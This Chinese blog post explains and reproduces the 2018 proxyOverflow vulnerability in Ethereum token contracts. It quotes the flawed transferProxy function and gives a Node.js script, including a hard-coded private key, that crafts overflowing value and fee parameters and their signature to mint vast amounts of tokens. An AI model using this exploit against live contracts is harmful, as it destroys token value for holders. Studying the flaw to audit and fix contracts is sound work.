美文网首页
智能合约proxyOverflow漏洞攻击复现

智能合约proxyOverflow漏洞攻击复现

作者: Buffalo_Lv | 来源:发表于2018-05-31 15:39 被阅读85次

2018年4月,PeckShield发现了不少已经在交易所平台进行交易的Token合约都包含了proxyOverflow漏洞,然后这些Token要么价格直接归零,要么暂停交易,等待换新币。我在这里给出详细一点的解释和攻击过程。不少智能合约都包含了一个transferProxy函数,这个函数的功能是做代理支付使用的。比如Alice持有XXToken,但是Alice并没有ETH,无法交付以太坊网络交易手续费,这时Alice就不能直接通过发送以太坊交易转账XXToken给Bob,这时,Alice就可以通过中间商PayX间接支付给Bob,中间商PayX不会向Alice收取ETH,但会收取一定量的XXToken作为手续费,然后中间商PayX再发交易到以太坊网络触发transferProxy函数,完成Alice到Bob的转账。可以参考下面的transferProxy代码,但是这个代码中却包含了一处整数运算溢出漏洞:【if(balances[_from] < _feeUgt + _value) throw;】,这个语句里的_feeUgt + _value的运算结果是可以溢出的,只要让其结果刚好溢出为0,就可以让if语句跳过,进而发生漏洞攻击,创造出天量的XXToken到目标地址,导致XXToken的价格直接归零。

function transferProxy(

            address _from, address _to, uint256 _value, uint256 _feeUgt,

            uint8 _v, bytes32 _r, bytes32 _s) returns (bool) {

    if(balances[_from] < _feeUgt + _value) throw;

    uint256 nonce = nonces[_from];

    bytes32 h = sha3(_from, _to, _value, _feeUgt, nonce);

    if(_from != ecrecover(h, _v, _r, _s)) throw;

    if(balances[_to] + _value < balances[_to]

    || balances[msg.sender] + _feeUgt < balances[msg.sender]) throw;

    balances[_to] += _value;

    Transfer(_from,  _to,  _value);

    balances[msg.sender] += _feeUgt;

    Transfer(_from, msg.sender, _feeUgt);

    balances[_from] -= _value + _feeUgt;

    nonces[_from] = nonce + 1;

    return true;

}

难点是如何构造出正确的V、R、S签名参数,有了这些参数,才能构造出交易。通过WEB3 Node.JS函数soliditySha3和ecsign,可以获得V、R、S签名参数,然后就可以发交易到以太坊网络(很简单的,这里略过),触发调用transferProxy(_from, _to, _value, _feeUgt, _v, _r, _s),为自己创造巨量的XXToken了。代码中的privateKey和addr是配套的。

var web3 =require("web3");

var util =require('ethereumjs-util');

var addr ="0x4e9321De20d647C5F7E83D3729daaBBE476C0E26";

var value ="0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff";

var fee ="0x0000000000000000000000000000000000000000000000000000000000000001"

var nonce = 0;

var hash = web3.utils.soliditySha3(addr, addr, value, fee, nonce);

var privateKey ="0x7aa914528182dba0e8ba209ff499ed442868940acd87115fb7043bc4ffb84998";

var sign = util.ecsign(util.toBuffer(hash), util.toBuffer(privateKey));

console.log(sign.v.toString());

console.log("0x" + sign.r.toString("hex"));

console.log("0x" + sign.s.toString("hex"));

相关文章

网友评论

      本文标题:智能合约proxyOverflow漏洞攻击复现

      本文链接:https://www.haomeiwen.com/subject/lriqsftx.html